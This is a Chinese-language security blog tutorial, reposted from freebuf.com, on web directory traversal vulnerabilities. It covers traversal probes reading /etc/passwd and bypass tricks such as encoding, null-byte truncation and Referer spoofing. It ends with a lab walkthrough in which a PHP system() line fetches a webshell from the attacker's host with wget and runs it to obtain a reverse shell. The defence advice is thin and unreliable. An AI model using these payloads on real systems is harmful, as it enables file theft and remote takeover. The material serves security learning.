web安全目录遍历漏洞学习及绕过 – 作者:Augenstern

目录遍历漏洞介绍

路径遍历攻击(也称为目录遍历)是指在访问储存在web根目录文件夹之外的文件和目录。通过操纵带有“点-斜线(..)”序列及其变化的文件或使用绝对文件路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。

需要注意的是,系统操作访问控制(如在微软windows操作系统上锁定或使用文件)限制了对文件的访问权限。

这种攻击也称为 “点-点斜线”、“目录遍历”、“目录爬升”和“回溯”。

搭建一个存在目录遍历漏洞的虚拟机,做个实验。
使用Owasp zap进行漏洞扫描,挖掘漏洞。

图片[1]-web安全目录遍历漏洞学习及绕过 – 作者:Augenstern-安全小百科然后复制它的URL到浏览器查看该漏洞

图片[2]-web安全目录遍历漏洞学习及绕过 – 作者:Augenstern-安全小百科目录遍历的漏洞通过`../../../`这样的形式来进行目录读取服务器中的文件,`../../../../`越多多好,因为在终端中,`../`是返回上一级目录,到根目录使用`../`会返回当前页面。

图片[3]-web安全目录遍历漏洞学习及绕过 – 作者:Augenstern-安全小百科一般发现目录遍历的漏洞的探针,也就是测试的时候往往是使用这样的payload

http://www.xxxx.com/xxx.php?page=../../../../../../../../../../../../../etc/passwd

看是否会返回该文件的内容,这就造成了目录遍历的漏洞产生。
还可以本地利用PHP环境搭建一个读取文件的脚本。来实现目录遍历。

<?php
$dir_path=$_REQUEST['path'];
$page=scandir($dir_path);
var_dump($page);
?>

一些绕过方式

1. 加密参数传递的数据

有的网站程序传递参数后会进行base64加密(当然也会有其他加密),导致我们传递的参数无法解析,所以就无法利用目录遍历,而绕过方式也很简单,就是先对参数进行base64加密后再进行传参。如:

`?page=bTByZS50eHQ=`

2. 编码绕过

进行传参时将参数进行编码,实现绕过,比如URL编码。`?page=%6D%30%72%65%2E%74%78%74`

3. 目录限定绕过

有些Web应用程序是通过限定目录权限来分离的。可以使用一些特殊的符号`~`来绕过。比如提交这样的`xxx.php?page=~/../boot`。就可以直接跳转到硬盘目录下。

4. 绕过文件后缀过滤

一些Web应用程序在读取文件前,会对提交的文件后缀进行检测,攻击者可以在文件名后放一个空字节的编码,来绕过这样的文件类型的检查。
比如:`../../../../boot.ini%00.jpg`,Web应用程序使用的Api会允许字符串中包含空字符,当实际获取文件名时,则由系统的Api会直接截短,而解析为`../../../../boot.ini`。
在类Unix的系统中也可以使用Url编码的换行符,例如:`../../../etc/passwd%0a.jpg`如果文件系统在获取含有换行符的文件名,会截短为文件名。也可以尝试%20,例如: `../../../index.php%20`

5. 绕过来路验证

Http Referer : HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的
在一些Web应用程序中,会有对提交参数的来路进行判断的方法,而绕过的方法可以尝试通过在网站留言或者交互的地方提交Url再点击或者直接修改Http Referer即可,这主要是原因Http Referer是由客户端浏览器发送的,服务器是无法控制的,而将此变量当作一个值得信任源是错误的。

还有就是web服务器配置不当而造成的目录遍历漏洞,
可以使用谷歌语法进行查找。

使用      intitle: index of

随便选择一个打开就是了。

图片[4]-web安全目录遍历漏洞学习及绕过 – 作者:Augenstern-安全小百科

防御

可以对提交的参数进行多次编码或者多种加密。上面的几种绕过方式进行组合使用。

如何利用目录遍历上传shell并拿到一个低权限

利用目录遍历漏洞获取shell思路

  • 上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell。在kali linux中获取反弹shell;

需要和其他知识相结合,这里直接略过简单步骤
略过的操作:探测敏感目录,弱口令登录,查找利用的webshell上传点。
使用`/usr/share/webshells/php`中的反弹的webshell
将webshell中的IP和要监听的端口改一下

$ip = '10.0.2.4';  // CHANGE THIS
$port = 4444;       // CHANGE THIS

然后进行利用,建数据库数据表,然后插入字段

图片[5]-web安全目录遍历漏洞学习及绕过 – 作者:Augenstern-安全小百科

写入

<?php system("cd /tmp;wget http://10.0.2.4:8000/webshell.php;chmod +x webshell.php;php webshell.php");?>

解析:切换至tmp目录,然后在kali的服务器中下载webshell,然后赋给文件执行权限,再执行。

图片[6]-web安全目录遍历漏洞学习及绕过 – 作者:Augenstern-安全小百科

可以看到已经写入了数据。插入了命令
创建服务器用来让靶场下载webshell
同时开启nc侦听端口

图片[7]-web安全目录遍历漏洞学习及绕过 – 作者:Augenstern-安全小百科

上面这都是前置设置,这些设置完成后,就可以执行目录遍历漏洞下载并执行shell了

` /usr/databases/shell.php`这个是命令所在的文件,使用目录遍历漏洞访问并执行。
payload

http://10.0.2.5/view.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Fdatabases%2Fshell.php

拿到一个较低权限的shell

图片[8]-web安全目录遍历漏洞学习及绕过 – 作者:Augenstern-安全小百科

下次学习提权。如何将此类低权限提升至root权限。

来源:freebuf.com 2020-08-22 22:56:35 by: Augenstern

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论